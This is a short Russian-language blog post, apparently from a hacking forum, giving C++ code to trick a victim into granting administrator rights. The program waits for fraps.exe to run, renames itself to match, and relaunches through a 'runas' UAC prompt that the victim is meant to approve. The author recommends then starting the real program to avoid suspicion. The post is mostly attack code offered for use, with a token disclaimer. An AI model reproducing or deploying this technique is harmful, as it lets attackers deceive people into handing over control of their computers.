Здравствуйте читатели =)
Сегодня будет коротенькая но не менее полезная статья. С использованием соц. инженерии и небольших навыков c++ мы будем обходить UAC жертвы.
Вся информация предоставляется исключительно в ознакомительных целях. Автор не несет ответственности за любой возможный вред причиненный материалами данной статьи.
Создаем проект и приступаем сразу к коду.
C++:
#include <Windows.h>
#include <TlHelp32.h>
#include <iostream>
#include <io.h>
//функция поиска процесса
DWORD GetProcessByName(const char* process_name)
{
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 process;
DWORD proc_id = 0;
if (Process32First(snapshot, &process))
{
while (Process32Next(snapshot, &process))
{
if (_stricmp(process.szExeFile, process_name) == 0)
{
proc_id = process.th32ProcessID;
break;
}
}
}
CloseHandle(snapshot);
return proc_id;
}
int main()
{
//процесс который будем ожидать
const char* proc = "fraps.exe";
while (true)
{
//выполняем цикл пока процесс не будет запущен
if (GetProcessByName(proc) == 0)
GetProcessByName(proc);
else
break;
}
//как только процесс найден переименовываем нашу программу таким же
//именем
char oldname[] = "Debugger.exe";//старое имя
rename(oldname, proc);
//Запускаем нашу программу от имени администратора
ShellExecute(NULL, "runas", "fraps.exe", 0, 0, SW_SHOWNORMAL);
}
И так что мы получили? Человек запустивший на своем пк Fraps.exe увидит окно UAC в 80% случаев человек даст разрешение на запуск.
После этого мы уже можем думать что делать дальше. Можем так же включить ему оригинальное приложение чтобы не было подозрений.
В целом утилита получилась совсем не большая но вполне имеющая право на жизнь.
Источник мой блог: @H1deMan Blog